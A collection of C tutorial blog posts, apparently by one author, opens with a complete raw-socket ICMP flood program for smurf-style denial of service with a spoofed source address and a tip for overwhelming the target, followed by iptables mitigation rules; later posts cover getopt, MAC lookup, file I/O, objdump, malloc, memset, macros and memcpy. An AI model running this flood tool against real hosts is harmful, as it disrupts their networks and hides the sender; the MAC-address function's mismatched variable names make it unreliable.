Smurf Attack with ICMP in C

No, this is not a gang of disgruntled smurfs attacking your base. A smurf attack is where a computer sends an ICMP Echo request to the broadcast IP address of your current network. In the 1990′s most computers would reply to the source IP of this broadcast. So essentially, to execute the smurf attack a user would spoof the IP address of the victim computer and thus all computers on the network would reply to that spoofed IP address and thus send a huge amount of traffic to that victim computer. Once Microsoft and Linux became aware of this exploit most Windows computers no longer will reply to an ICMP request that is destinated to the broadcast IP address for that network (which is a good thing). You can, however, still DoS a computer with ICMP Echo requests by sending a very large amount of traffic to the destination computer using a spoofed source IP address. This article will include a ICMP smurf attack program written in…you guessed it C! As well as ways to mitigate a DoS or Broadcast attack with IPtables.

ICMP Echo Request Code in C

The program I wrote takes three (3) command line arguments. The first is the source IP address to use, the second is the destination address, and the third argument is the number of packets to be sent. If you specify 0 packets it will send an infinite amount of packets. This program uses a raw socket to spoof the source IP address and therefore must be run as root.

Usage:

# ./icmp_flood 
 
Usage: ./icmp_flood <saddr> <daddr> <# packets>
        <saddr> = spoofed source address
        <daddr> = target IP address
        <# packets> = is the number of packets to send, 100 is the default, 0 = infinite

The code:

#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <netinet/in.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
#include <string.h>
#include <arpa/inet.h>
 
#define BUFFER_SIZE 400
#define PACKET_DELAY_USEC 30
#define DEF_NUM_PACKETS 100
 
char buf[BUFFER_SIZE];
 
char *usage = "\nUsage: ./icmp_flood <saddr> <daddr> <# packets>\n \
	<saddr> = spoofed source address\n \
	<daddr> = target IP address\n \
	<# packets> = is the number of packets to send, 100 is the default, 0 = infinite\n";
 
void set_ip_layer_fields(struct icmphdr *icmp, struct ip *ip)
{
    // IP Layer
    ip->ip_v = 4;
    ip->ip_hl = sizeof*ip >> 2;
    ip->ip_tos = 0;
    ip->ip_len = htons(sizeof(buf));
    ip->ip_id = htons(4321);
    ip->ip_off = htons(0);
    ip->ip_ttl = 255;
    ip->ip_p = 1;
    ip->ip_sum = 0; /* Let kernel fill in */
 
    // ICMP Layer
    icmp->type = ICMP_ECHO;
    icmp->code = 0;	
    icmp->checksum = htons(~(ICMP_ECHO << 8));	
}
 
void set_socket_options(int s)
{
    int on = 1;
 
    // Enable broadcast
    if(setsockopt(s, SOL_SOCKET, SO_BROADCAST, &on, sizeof(on)) < 0){
        perror("setsockopt() for BROADCAST error");
        exit(1);
    }
 
    // socket options, tell the kernel we provide the IP structure 
    if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on)) < 0){
        perror("setsockopt() for IP_HDRINCL error");
        exit(1);
    }	
}
 
int main(int argc, char *argv[])
{
    int s, i;	
    struct ip *ip = (struct ip *)buf;
    struct icmphdr *icmp = (struct icmphdr *)(ip + 1);
    struct hostent *hp, *hp2;
    struct sockaddr_in dst;
    int offset;
    int num = DEF_NUM_PACKETS;
 
    if(argc < 3){
        fprintf(stdout, "%s\n",usage);
        exit(1);
    }
 
    // If enough arguments supplied 
    if(argc == 4)
        num = atoi(argv[3]);
 
    // Loop based on the packet number
    for(i = 1; num == 0 ? num == 0 : i <= num; i++){
        // Clear data paylod
        memset(buf, 0, sizeof(buf));
 
        // Create RAW socket 
        if((s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0){
            perror("socket() error");
            exit(1);
        }
 
        set_socket_options(s);
 
        if((hp = gethostbyname(argv[2])) == NULL){
            if((ip->ip_dst.s_addr = inet_addr(argv[2])) == -1){
                fprintf(stderr, "%s: Can't resolve, unknown host.\n", argv[2]);
                exit(1);
            }
        }else
            memcpy(&ip->ip_dst.s_addr, hp->h_addr_list[0], hp->h_length);
 
        if((hp2 = gethostbyname(argv[1])) == NULL){
            if((ip->ip_src.s_addr = inet_addr(argv[1])) == -1){
                fprintf(stderr, "%s: Can't resolve, unknown host\n", argv[1]);
                exit(1);
            }
        }else
            memcpy(&ip->ip_src.s_addr, hp2->h_addr_list[0], hp->h_length);
 
        set_ip_layer_fields(icmp, ip);
 
        dst.sin_addr = ip->ip_dst;
        dst.sin_family = AF_INET;
 
        if(sendto(s, buf, sizeof(buf), 0, (struct sockaddr *)&dst, sizeof(dst)) < 0){
            fprintf(stderr, "Error during packet send.\n");
            perror("sendto() error");
        }else
            printf("sendto() is OK.\n");
 
        close(s);
        usleep(PACKET_DELAY_USEC);
    }
    return 0;
}

Execution of the program:

# ./icmp_flood 1.2.3.4 10.3.4.123 3
sendto() is OK.
sendto() is OK.
sendto() is OK.

Voila. It is as easy as that. Notice that this is a raw socket, I had to use the setsockopt feature to permit the send to a broadcast address, as well as allowing the kernel to provide checksum data during send. Other than that it is merely setting the source and destination IP addresses accordingly. As well as setting the correct ICMP flags to indicate a ICMP request. If you remove the delay (or set it to 0), you will notice that the destination machine will stop sending echo reply’s as it is overwhelmed with the requests.

Protecting Against Smurf Attacks

There are various ways to protect against a smurf attack. In fact, the Windows network stack already ignores ICMP echo requests with a broadcast destination so you get that for free. The current Windows firewall blocks ICMP requests by default now. In Linux you can use IPtables to mitigate this attack with various rulesets for ICMP, for example:

iptables -A INPUT -p icmp -m icmp –icmp-type address-mask-request -j DROP
iptables -A INPUT -p icmp -m icmp –icmp-type timestamp-request -j DROP
iptables -A INPUT -p icmp -m icmp -m limit –limit 1/second -j ACCEPT

This example permits only specific ICMP types, none of which are Echo Reply or Echo Request. Only address masking or timestamp (so you can detect that the machine is still alive but drop basic pings), and even then this only allows a packet rate limit of 1 packet per second to the host machine. This avoids both a smurf attack as well as a DoS attack because of the rate limiting rule. Never bad to be cautious on a network.

Parse Command Line Arguments With getopt In C

Getopt is a great function for parsing command line arguments, and a function that I did not learn about until I was looking at some Busybox C code. There are two versions of getopt, one for a long set of arguments and the basic version that I plan to outline here for use on a small set.

So how does getopt help you? What makes it different from just running through argv**? Well essentially it does the work for you! As a programmer it is always nice to do things easily and efficiently. The goal of this article is to familiarize you with the basic functionality of getopt in C.

The basic form of getopt is:

int getopt(int argc, char * const argv[],  const char *optstring);

Where int argc and char *const argv[] are just passed in from your int main(int argc, char **argv);. It should also be noted that getopt will set some external variables that are provided when you include unistd.h to use getopt, they are:

extern char *optarg;
extern int optind, opterr, optopt;

getopt returns an integer which you can compare as ASCII against values in a switch statement.

Using getopt()

So, now we know what getopt is, how do we use it? The main idea is to use it in a loop, once all the command line arguments have been parsed getopt will return a -1.

Okay, so we know what the first two arguments for getopt are (argc, and argv from your int main() )…but what about the third argument? Well that is where your flag definitions come in. So lets say you have a program that has three flags: { a, b, c } where its -c followed by a value. All you have to do is feed those values as the third argument, for example:

  getopt(argc, argv, "abc:");

Notice that it is c followed by a colon. The colon means that a value should follow the c and thus we should parse that value if we see the -c. One thing to note is that if getopt receives a character that is not part of optstring then getopt will return a question mark ( ? ) since we don’t know what value a user will put after the -c, we know we will receive a ? if they use that flag. This means in your switch statement you need a case for ? .

Example Program Using getopt()

Here is the program all put together, using a, b, c as our flags. In this example you can also see I used some of the global external variables that getopt automatically sets including optarg and optopt.

#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
 
int
main (int argc, char **argv)
{
  int adata = 0; // Flag a
  int bdata = 0; // Flag b
  char *cvalue = NULL; // The value argument after c
  int index;
  int c;
 
  opterr = 0;
 
  while ((c = getopt (argc, argv, "abc:")) != -1)
	switch (c){
	  case 'a':
		fprintf(stdout, "There is a -a.\n");
		break;
 
	  case 'b':
		fprintf(stdout, "There is a -b.\n");
		break;
 
	  case 'c':
		fprintf(stdout, "There is a -c and perhaps a value.\n");
		cvalue = optarg;
                fprintf(stdout, "C is: %s \n",cvalue);
		break;
 
	  case '?':
		// This is a case where they have either placed a -c with an argument.
		// OR there is a rogue character on the command line.
 
		if (optopt == 'c')
			fprintf (stderr, "A -c %c was specified but 
				not argument present. \n", optopt);
		else if (isprint (optopt))
			fprintf (stderr, "Unknown option `-%c'.\n", optopt);
		else
			fprintf (stderr,
				"Unknown option character `\\x%x'.\n",
					optopt);
			return 1;
	  default:
		  abort ();
	  }
 
  // We can spit out the characters that are not part of the command line.
  for (index = optind; index < argc; index++)
	  printf ("Non-option argument %s\n", argv[index]);
  return 0;
}

Okay, now that the program is made, lets run it:

erik@debian:~/getopt_y$ gcc -o getopt_test getopt_test.c
erik@debian:~/getopt_y$ ./getopt_test -ab
There is a -a.
There is a -b.
C is: (null)
erik@debian:~/getopt_y$ ./getopt_test -abc
There is a -a.
There is a -b.
A -c c was specified but not argument present.
erik@debian:~/getopt_y$ ./getopt_test -abc yar
There is a -a.
There is a -b.
There is a -c .. and perhaps a value.
C is: yar
erik@debian:~/getopt_y$ ./getopt_test -a
There is a -a.
C is: (null)
erik@debian:~/getopt_y$ ./getopt_test -b
There is a -b.
C is: (null)
erik@debian:~/getopt_y$ ./getopt_test -c
A -c c was specified but not argument present.

So there you have it, a simple and effective way to parse your command line arguments rather than using strcmp to compare each value on its own.

What Is My Interfaces MAC Address?

A MAC address is the unique identifier that is assigned to a network interface to communicate on your physical network. A MAC address consists of 48 bits and is usually displayed as 6 octets. I won’t get into all the grimy details of network topology and the 7 layer OSI model, that’s what Wikipedia is for! Instead I will give you a few examples of how to display your MAC address in Linux, in Windows, and from a C program using ioctl calls.

In Linux we can use the ifconfig command and grep for HW.

Display MAC Address In Linux

To grab the MAC address of an interface in Linux, simply execute your ifconfig command and do a grep for HW.

$ /sbin/ifconfig | grep HW
eth0      Link encap:Ethernet  HWaddr 00:1a:92:1d:dc:9b  
eth1      Link encap:Ethernet  HWaddr 00:1b:21:0a:d2:cf

In this case my MAC address for eth0 is 00:1a:92:1d:dc:9b and for eth1 is 00:1b:21:0a:d2:cf.

Voila, if you wanted to find it for eth0 specifically, just do a “ifconfig eth0 | grep HW”.

Display MAC Address In Windows

In Windows to quickly find the MAC address of your interface, you can bring up a console Windows. Start > Type “cmd” In the Search programs and Files. This will bring up a the command prompt. Enter the command ipconfig /all This will display ethernet information for all interfaces on your windows machine.

C:\Users\Erik> ipconfig /all
Ethernet adapter Local Area Connection:
 
        Connection-specific DNS Suffix  . : localdomain
        Description . . . . . . . . . . . : VMware Accelerated AMD PCNet Adapter
        Physical Address. . . . . . . . . : 00-0C-29-2B-3E-6D
        Dhcp Enabled. . . . . . . . . . . : Yes
        Autoconfiguration Enabled . . . . : Yes
        IP Address. . . . . . . . . . . . : 192.168.2.104
        Subnet Mask . . . . . . . . . . . : 255.255.255.0
        Default Gateway . . . . . . . . . : 192.168.2.1

As shown in the third line, the MAC / Physical address of my virtual interface.

Retrieve MAC Address In C Using A Socket And Ioctl Call

There are a few methods to grab the MAC address of an interface in C. You could actually just do a system or popen call and execute the command I mentioned above (ifconfig | grep HW) and parse the reply. But that’s too easy…and less efficient. Here is a function that takes two parameters as input, the first is the interface name we want to retrieve the MAC address for, and the second is the buffer where we will store the data.

/**
*  get_mac_str()
* interface_name        the name of the interface we want the MAC of
* mac_str               the buffer we will store the result in
* RETURNS: 0 on success; -1 on error.
*/
int get_mac_str(const char *interface_name, char *mac_str) 
{
        int ioctl_data = 0;
        struct ifreq ifr;
 
        // If either pointer is NULL
        if (!ifName || !macAddrStr) return(-1);
 
        // Setup our socket 
        if ( (ioctl_data = socket(PF_INET, SOCK_STREAM, 0)) == -1 ){
                fprintf(stderr, "Could not setup socket.\n");
                return(-1);
        }
 
        // Clear the IFREQ structure
        memset(&ifr, 0, sizeof(ifr));
 
        // Store our interface name in the structure for lookup
        strncpy(ifr.ifr_name, interface_name, sizeof(ifr.ifr_name));
        if ( ioctl(ioctl_sid, SIOCGIFHWADDR, &ifr) < 0) 
        {
                fprintf(stderr, "Could not execute ioctl call.\n");
                close(ioctl_data);
                return(-1);
        }
        close(ioctl_data);
 
        // Ensure we are dealing with an Ethernet device
        if (ifr.ifr_hwaddr.sa_family != ARPHRD_ETHER) 
        {
                fprintf(stderr, "Not an ethernet device.\n");
                return(-1);
        }
        // C function to convert address to octet colon form
        ether_ntoa_r((const struct ether_addr *)&(ifr.ifr_hwaddr.sa_data), 
                        mac_str);
        return(0);
}

This last example is much more efficient than executing a system or popen call. A drawback is you must know what the interface name is you are looking for.

File Input / Output in C – Examples

File Input / Output in C can be achieved using the C stream functions such as fopen, fclose or using system calls of open, close. Depending on which method you choose, the functions available for reading, creating, and writing to that file differ. In this article I will tackle the use of the C stream function set.

Opening a File in C using fopen

The fopen() function call takes two arguments, one of the file path, and the second the mode in which you want to open that file. The mode is especially important, the options include:

Note: This is extracted from the glibc manual page.

  • r – Open text file for reading. The stream is positioned at the beginning of the file.
  • r+ – Open for reading and writing. The stream is positioned at the beginning of the file.
  • w – Truncate file to zero length or create text file for writing. The stream is positioned at the beginning of the file.
  • w+ – Open for reading and writing. The file is created if it does not exist, otherwise it is truncated. The stream is positioned at the beginning of the file.
  • a – Open for appending (writing at end of file). The file is created if it does not exist. The stream is positioned at the end of the file.
  • a+ – Open for reading and appending (writing at end of file). The file is created if it does not exist. The initial file position for reading is at the beginning of the file, but output is always appended to the end of the file.

So for example, if you have a file that you know already exists on disk, you can open it by doing:

#define FILEPATH "/tmp/erik_file.txt"
 
FILE *fp; // fopen returns a file handle of type FILE *
fp = fopen(FILEPATH, "r"); // in this case we open the file for reading
if(!fp){
  fprintf(stderr, "File - %s - could not be opened.\n", FILEPATH);
  return -1;
}
 
// Do some processing on the file..perhaps read from it
fgets(s,size,fp);

If the file cannot be opened then fopen() will return NULL with errno being set. Otherwise fopen() returns a valid file pointer.

How To Read From a File in C

Now we have our file opened from the above example, but what good is an open file if you don’t do anything with it? Since we have a file stream open there are various function calls we can use that take a FILE stream as a parameter.

Note: Extracted from glibc manual pages.

  • int fgetc(FILE *stream);
    fgetc() reads the next character from stream and returns it as an unsigned char cast to an int, or EOF on end of file or error.
  • char *fgets(char *s, int size, FILE *stream);
    reads in at most one less than size characters from stream and stores them into the buffer pointed to by s. Reading stops after an EOF or a newline. If a newline is read, it is stored into the buffer. A \0 is stored after the last character in the buffer.
  • int getc(FILE *stream);
    is equivalent to fgetc() except that it may be implemented as a macro which evaluates stream more than once.
  • int ungetc(int c, FILE *stream);
    pushes c back to stream, cast to unsigned char, where it is available for subsequent read operations. Pushed-back characters will be returned in reverse order; only one pushback is guaranteed.

For example:

#define MAX_LEN 512
  ...
char data[MAX_LEN];
while (fgets(data, MAX_LEN, fp) != NULL) { // We read input up to MAX_LEN size.
     ...
}
// do something with 'data'.

How To Write To a File in C

To write to a file in C, the file must have been opened with the ‘r+’ or ‘w+’ options in fopen(), otherwise the user will not have the ability to write to the file. Lets write the file using fwrite(). fwrite() is used for writing binary data to the file.

  • size_t fwrite(const void *ptr, size_t size, size_t nmemb, FILE *stream);

So if we wanted to write ‘hello’ to the file, assuming it is already open, we can simply do:

int count = 0;
const char *str = "hello\n";
 
// write to the file, and get return value of bytes written
count = fwrite(str, strlen(str), 1, fp);
 
// display bytes written and whether it was a success
// then close the file
printf("Wrote %u bytes. fclose(fp) %s.\n", count,  fclose(fp) == 0 ? "succeeded" : "failed");
 
return EXIT_SUCCESS;

Closing a File in C

To close the file that was previously opened using fopen(), simply call fclose() passing in the FILE *fp that you used earlier during the open procedure.

fclose(fp);

Useful File Pointer Functions in C

I always find it handy to be able to move to a specific position in a file for reading or writing. It is also sometimes useful to know where in a certain file your pointer is, these functions do just that.

  • int fseek(FILE *stream, long offset, int whence);
  • long ftell(FILE *stream);
  • void rewind(FILE *stream);
  • int fgetpos(FILE *stream, fpos_t *pos);
  • int fsetpos(FILE *stream, fpos_t *pos);

Note: Extracted from glibc manual pages.

The fseek() function sets the file position indicator for the stream pointed to by stream. The new position, measured in bytes, is obtained by adding offset bytes to the position specified by whence. If whence is set to SEEK_SET, SEEK_CUR, or SEEK_END, the offset is relative to the start of the file, the current position indicator, or end-of-file, respectively. A successful call to the fseek() function clears the end-of-file indicator for the stream and undoes any effects of the ungetc(3) function on the same stream.

The ftell() function obtains the current value of the file position indicator for the stream pointed to by stream.

The rewind() function sets the file position indicator for the stream pointed to by stream to the beginning of the file. It is equivalent to:

(void)fseek(stream, 0L, SEEK_SET)

except that the error indicator for the stream is also cleared (see clearerr(3)).

The fgetpos() and fsetpos() functions are alternate interfaces equivalent to ftell() and fseek() (with whence set to SEEK_SET), setting and storing the current value of the file offset into or from the object referenced by pos. On some non-UNIX systems an fpos_t object may be a complex object and these routines may be the only way to portably reposition a text stream.

Display Assembly Code of C Program

In my last article I wrote about inline assembly for your C program. It got me thinking about the compilation process and how a compiler breaks the code down to the opcode (operation code) or assembly language and what that looks like. Anyone who has done a computer science/computer engineering degree has had to suffer through writing a program in assembly, myself, I was able to use the good old MC68HC11 to practice on. In fact, my professor for this class created his own assembly language with his own compiler and had us write our first assignment in BINARY, yes you read that correctly. It is actually somewhat neat to program in that low a level and can be very rewarding when your program works correctly, but I digress.

There are a few ways to investigate how your program has been boiled down to assembly. You may use the objdump utility in tandem with gcc -g, or you can compile your program with -s which will produce a *.s file. Lets first look at compiling a program with the gcc -s option.

Compile Your Program With ‘gcc -s’

To produce a .s file simply add the -s flag to your compilation step. This informs the compiler to stop after compilation, quoted from the gcc manual page:

-S
 
Stop after the stage of compilation proper; do not assemble. The output is in
the form of an assembler code file for each non-assembler input file specified.
 
By default, the assembler file name for a source file is made by replacing the 
suffix .c, .i, etc., with .s.
 
Input files that don't require compilation are ignored.

Hey sweet! Lets check out the process and the file.

$ gcc -s -c zeus.c
$ ls -l
total 40
-rw-r--r-- 1 erik erik   335 2011-04-09 14:06 Makefile
-rwxr-xr-x 1 erik erik  9357 2011-04-09 14:06 zeus
-rw-r--r-- 1 erik erik   554 2008-11-13 21:06 zeus.c
-rw-r--r-- 1 erik erik  1079 2008-09-21 19:08 zeus.c~
-rw-r--r-- 1 erik erik  1200 2011-04-09 14:20 zeus.o
-rw-r--r-- 1 erik erik 11345 2011-04-09 14:06 zeus.s

Well look here, zeus.s! I wonder what could be in that file? Any bets? You guessed it, some cryptic information.

.LCFI5:
        .loc 1 24 0
        movl    stderr, %eax
        movl    $4, 8(%esp)
        movl    $.LC0, 4(%esp)
        movl    %eax, (%esp)
        call    fprintf
        movl    stderr, %eax
        movl    $24, 16(%esp)
        movl    $.LC1, 12(%esp)
        movl    $__FUNCTION__.3213, 8(%esp)
        movl    $.LC2, 4(%esp)
        movl    %eax, (%esp)
        call    fprintf
        movl    $.LC3, (%esp)
        call    perror
        movl    $1, (%esp)
        call    exit

While this information can be useful, it is somewhat hard to interpret. The assembly code above makes a little more sense, and shows use of the stack pointer (%esp) and the ‘a’ register (%eax). This should look familiar if you read my previous article. The objdump program makes this cryptic information a little easier to use.

View Assembly With ‘objdump’

To fully utilize the objdump utility compile your C program using the -g option. From the GCC manual page:

-g
 
Produce debugging information in the operating system's native format
(stabs, COFF , XCOFF , or DWARF 2). GDB can work with this debugging
information. On most systems that use stabs format, -g enables use of 
extra debugging information that only GDB can use; this extra information 
makes debugging work better in GDB but will probably make other debuggers
crash or refuse to read the program. If you want to control for certain
whether to generate the extra information, use -gstabs+, -gstabs, 
-gxcoff+, -gxcoff, or -gvms (see below).
 
GCC allows you to use -g with -O. The shortcuts taken by optimized code 
may occasionally produce surprising results: some variables you declared 
may not exist at all; flow of control may briefly move where you did not expect
it; some statements may not be executed because they compute constant results
or their values were already at hand; some statements may execute in different 
places because they were moved out of loops.
 
Nevertheless it proves possible to debug optimized output. This makes it 
reasonable to use the optimizer for programs that might have bugs.

Compiling with the -g option just includes debugging information for objdump to interpret. There are a few basic commands that can be used, I haven’t delved too deeply into it, but the few main ones I use are -a, -S, -t.

Use ‘objdump -t’ To Display Symbols

The symbol table is a data structure used by the compiler, where each identifier in the program’s source code is associated with information relating to its declaration or appearance in the source, such as its type, scope level and sometimes its location. Using objdump -t on our binary we can view the symbol table.

$ objdump -t get_test
 
get_test:     file format elf32-i386
 
SYMBOL TABLE:
08048114 l    d  .interp        00000000              .interp
08048128 l    d  .note.ABI-tag  00000000              .note.ABI-tag
08048148 l    d  .hash  00000000              .hash
08048178 l    d  .dynsym        00000000              .dynsym
080481e8 l    d  .dynstr        00000000              .dynstr
08048244 l    d  .gnu.version   00000000              .gnu.version
08048254 l    d  .gnu.version_r 00000000              .gnu.version_r
08048274 l    d  .rel.dyn       00000000              .rel.dyn
08048284 l    d  .rel.plt       00000000              .rel.plt
...

The first column represents where in memory these exist, the second column is the symbol type, and third is the type of symbol. While this is useful, I find the -S flag to be the most useful. This intermixes source code with disassembly.

Display Code Intermixed With Assembly Using ‘objdump -S’

This is by far my favourite output from objdump. For instance:

$ objdump -S get_test
int main()
{
 80483b4:       8d 4c 24 04             lea    0x4(%esp),%ecx
 80483b8:       83 e4 f0                and    $0xfffffff0,%esp
 80483bb:       ff 71 fc                pushl  0xfffffffc(%ecx)
 80483be:       55                      push   %ebp
 80483bf:       89 e5                   mov    %esp,%ebp
 80483c1:       51                      push   %ecx
 80483c2:       83 ec 24                sub    $0x24,%esp
        char c;
        for(;;){
                c=getchar();
 80483c5:       e8 02 ff ff ff          call   80482cc <getchar@plt>
 80483ca:       88 45 fb                mov    %al,0xfffffffb(%ebp)
                if(c == 'q')

As you can see in this example there is C code intermixed with the assembly language used behind the scenes. I think this output is the most useful because it allows you to compare your C code with the assembly the compiler has produced. Hopefully this has given you a few examples of the ways to retrieve your assembly code for your program.

Dynamic Memory Allocation With malloc In C

Memory allocation on the fly can be done using the malloc function call. This is usually done when a dynamic amount of memory is required that cannot be decided prior to program execution. Malloc is the way to achieve this. The programmer must be diligent in allocating the correct amount of memory, type cast it appropriately, and remember to free it after usage. Otherwise this memory may be leaked during execution.

This article will outline the usage of malloc, how to free that memory after the fact, and how to avoid dangling pointers and invalid memory access.

How Do I Allocate Memory?

Most people are familiar with allocating an array of 10 integers:

int data[10];

But what if we actually need 12 integers or 15, what then? This is where malloc comes in. Its defintion is:

void *malloc(size_t size);

malloc return a void *, meaning we can cast this memory to whatever type we need. It takes a size as its argument, in this case the number of bytes we need. Here is an example of allocating 12 integers. If you want more examples of using fprintf follow this link.

#include <stdio.h>
#include <stdlib.h>
 
int main()
{
        int *data_ptr;
        data_ptr = (int *)malloc(sizeof(int) * 12);
 
        if(data_ptr == NULL){
                fprintf(stderr, "Could not allocate memory.\n");
                return -1;
        }
 
        data_ptr[0] = 5;
        data_ptr[1] = 3;
 
        fprintf(stdout, "%u\n",data_ptr[0]);
 
        // Cleanup our allocated memory
        free(data_ptr);
        data_ptr = NULL;
 
        return 0;
}

There a few things to note in this example:

  1. Malloc returns NULL on error. This must be checked! Do not just point randomly.
  2. I reference our pointer using the same syntax as if I allocated the memory statically.
  3. During our cleanup I call free. free() returns no error, and takes the pointer in which memory was allocated to.
  4. I set the pointer to NULL after I free the memory. This ensure no dangling pointer.

Allocating memory can be done for any type required, as behind the scenes you are simply allocating bytes. In the example above we used the sizeof function. This is imperative that we use this function, because in some cases a long is 8 bytes on one system where a long on another system is only 4 bytes. When we use sizeof we let the system tell us how the size of the type, and thus we multiply it by how many of those we need. In our example we needed 12 integers, without having to know the actual byte size behind the scenes.

If you want to do something more complicated, you can try dynamically allocate structures using malloc.

C ‘memset’ Examples

Have you ever created an array and manually set its values? Imagine doing that for an array of size 1000…madness! This is where memset comes in. Memset is used to set an arbitrary array size with a value specified by you. Perhaps you have a multi-dimensional array used for a chess board mapping, initially you require the array to be filled with ‘\0′ characters, if you have a very large array it would not make sense to do this manually even creating a for-loop to fill the values does not make sense. Memset is also useful for zeroing out a C structure that you may have just malloc‘ed as well, just to ensure its contents are as they should be.

The memset function is quite basic.

// Header
#include <string.h>
 
// Definition
void *memset(void *s, int c, size_t n);

The memset function takes three arguments. The first argument is a pointer (notice the void *) to whatever data type you are planning to set, the second argument is the specific value you are going to set your data with; there is however a catch in that memset will convert your integer value into an unsigned char when writing the data. The third argument is how many of those specific values are needed.

Well that sounded like mumbo jumbo. I always find concrete examples more useful…sooo..without further ado:

Memset An Integer Array

#include <string.h>
#include <stdio.h>
 
#define DATA_SIZE 10
 
int main(int argc, char **argv)
{
  int i, data[DATA_SIZE];
 
  memset(data,0,sizeof(data));
 
  // Print out array
  for(i = 0; i < DATA_SIZE; i++)
          fprintf(stdout, "data[%u]: %u\n",i,data[i]);
 
  return 0;
}
----- Our Output -----
$ ./memset_t 
data[0]: 0
data[1]: 0
data[2]: 0
data[3]: 0
data[4]: 0
data[5]: 0
data[6]: 0
data[7]: 0
data[8]: 0
data[9]: 0

Lets look at my memset invocation (line 10 above). The first argument is my ‘data’ array that I created, my second argument is ’0′ as I am zeroing out my array, and the third argument is the size of my data (size of an integer (4 bytes) x 10 of them), so 40 bytes of data. Make sure to use the sizeof macro, especially if you are dealing with longs as they differ on a 32bit versus a 64bit machine.

The memset function is mostly used to clear data before use, that being said, you can overwrite anything you want really. If you have a string with a set of characters, you can use memset to overwrite them.

Memset A String

#include <stdio.h>
#include <string.h>
 
int main(int argc, char **argv)
{
  char data_str[] = "The wheels on the bus go round and round.";
  memset (data_str,'*',10);
 
  fprintf(stdout, "%s\n",data_str);
  return 0;
}
----- Our Output -----
$ ./memset_t 
********** on the bus go round and round.

In this example I used the * character as my value, and replaced the first 10 bytes with stars, hence the output.

If you have a C structure you would like to zero out, remember a structure is simply variables set in a line in memory (usually byte aligned), so we can use memset for that as well, for example:

Memset A C Structure

struct ifreq ifr;
 
memset(&ifr, 0, sizeof(ifr));  // clear ifreq structure

Just remember to use the sizeof macro ensuring you have covered the correct size of memory when using memset. Now go memset stuff!

Commonly Used C Macros

I often find myself copying and pasting C macros from one program to another. Evidently I end up using these macros more often than I thought. So I thought I would share these useful macros with you. I will write about C macros later, C debugging macros and a guide to using C macros in your code. I find them quite useful, but how do macros affect the final product?

A macro (if not C99) is actually an inline expansion of your code. This means that the compiler will insert this code block directly into every spot you refer to the macro, rather than referencing the code block via a memory location. This can save pointer referencing and in some cases your code will be more efficient. You cannot, however, ensure this is the case the compiler may make decisions that it believes will be more efficient. None the less here is a list of some useful macros.

A Macro To Detect File Presence

Rather than attempting to open a file, you can use this macro:

#define exists(filename) (!access(filename, F_OK))

In your code you can then do something like:

if(exists("data.txt"))
  .. open file ...
else

Get The Size of An Array of Arbitrary Type

There are some instances where you don’t actually know the size of your array. This handy macro will tell you the size of your array, i.e. how many elements are in it:

#define ARRAY_SIZE(x) (sizeof(x) / sizeof((x)[0]))

This example utilizes the sizeof operator. You can use this macro as such:

int data[50];
fprintf(stdout, "Array size: %u\n",ARRAY_SIZE(data));

Min and Max

The always handy minimum and maximum macros will return the smaller or the larger of two items. These items can be of an arbitrary type, as long as they are the same type.

#define min(x,y) ({ \
	typeof(x) _x = (x);     \
	typeof(y) _y = (y);     \
	(void) (&_x == &_y);    \
	_x < _y ? _x : _y; })
 
 
#define max(x,y) ({ \
	typeof(x) _x = (x);     \
	typeof(y) _y = (y);     \
	(void) (&_x == &_y);    \
	_x > _y ? _x : _y; })

To use these macros, is much like any other:

int main()
{
  int a,b;
  a=5;
  b=12;
 
  fprintf(stdout, "%u\n", min(a,b));
  return 0;
}
$ ./min 
5

Voila, here are a few of the macros I find myself commonly using.

C ‘memcpy’ Examples

The C memcpy command provides mechanism to copy a set of bytes from location to another. It is quite similar to the strcpy function. The advantage of memcpy is that you can copy strings, or bytes, or data, or structures, or anything you want. The memcpy function does not discriminate.

The C memcpy function definition:

The definition of the memcpy function takes 3 arguments and is defined in the string.h header file.

#include <string.h>
 
void *memcpy(void *dest, const void *src, size_t n);

The first argument is the copy destination, the place where you want your data to be copied to. The second argument is the source data, and finally the third argument is the size of the area you want to be copied, defined as the number of bytes. The programmer also must ensure that the memory areas are not overlapping memory areas. Once the copy is complete the function will return a pointer to the start of the newly copied data area.

C memcpy Examples

What is a memcpy examples article without an example?

#include <string.h>
#include <stdio.h>
 
int main(int argc, char **argv)
{
	int i, j;
 
	i = 10;
	memcpy(&j, &i, sizeof(i));
 
	fprintf(stdout, "J = %d\n", j);
 
	return 0;
}

This is just a silly example of using memcpy to copy the data at the address of i to the address of j. Thus the output from this function is:

$ ./main
J = 10

Obviously memcpy is far more powerful than this and we could copy data from one structure to another quite easily:

typedef struct {
  int i;
  char c;
} memcpy_ex_t;
 
int main(int argc, char **argv)
{
    memcpy_ex_t a, b;
 
    a.i = 123;
    a.c = 'e';
 
    fprintf(stdout, "Mem structure A: i = %u | c = %c\n", a.i, a.c);
 
    memcpy(&b, &a, sizeof(memcpy_ex_t));
 
    fprintf(stdout, "Mem structure B: i = %u | c = %c\n", b.i, b.c);
 
    return 0;
}

The output from this you can probably guess:

$ ./main 
Mem structure A: i = 123 | c = e
Mem structure B: i = 123 | c = e

You could even use memcpy to clear your structure or element by simply creating a structure that is zeroed. For example if we modify the above program, and looking at lines 3, 14, 16 specifically for the additions:

int main(int argc, char **argv)
{
    memcpy_ex_t a, b, c = { 0 };
 
    a.i = 123;
    a.c = 'e';
 
    fprintf(stdout, "Mem structure A: i = %u | c = %c\n", a.i, a.c);
 
    memcpy(&b, &a, sizeof(memcpy_ex_t));
 
    fprintf(stdout, "Mem structure B: i = %u | c = %c\n", b.i, b.c);
 
    memcpy(&b, &c, sizeof(memcpy_ex_t));
 
    fprintf(stdout, "Mem structure B: i = %u | c = %c\n", b.i, b.c);
 
    return 0;
}

The output then becomes:

$ ./main 
Mem structure A: i = 123 | c = e
Mem structure B: i = 123 | c = e
Mem structure B: i = 0 | c =

Your imagination … and the compiler are probably your limits. Be careful though, especially with overlapping memory locations and the cost of doing memory copies is not cheap.

Linux Interface Configuration: ifconfig

This article will outline how to display, configure, modify your network interface using ifconfig from the Linux command line.

